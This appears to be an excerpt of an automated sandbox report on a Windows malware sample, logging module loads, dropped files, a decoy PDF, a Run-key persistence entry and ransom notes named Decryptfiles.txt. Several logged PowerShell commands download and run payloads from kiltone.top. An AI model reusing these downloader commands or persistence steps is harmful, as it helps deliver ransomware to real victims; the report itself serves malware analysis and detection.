Source: C:\Windows\System32\notepad.exeSection loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exeSection loaded: netutils.dll
Source: C:\Windows\System32\notepad.exeSection loaded: propsys.dll
Source: C:\Windows\System32\notepad.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\notepad.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
Source: Google Drive.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr
Source: Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source: Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr

Data Obfuscation

barindex
Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c control %temp%/fjeljies.cpl", "0", "true")
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\eryy65ty.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 595
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 595Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnkJump to behavior
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\SoftwareClient Private
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
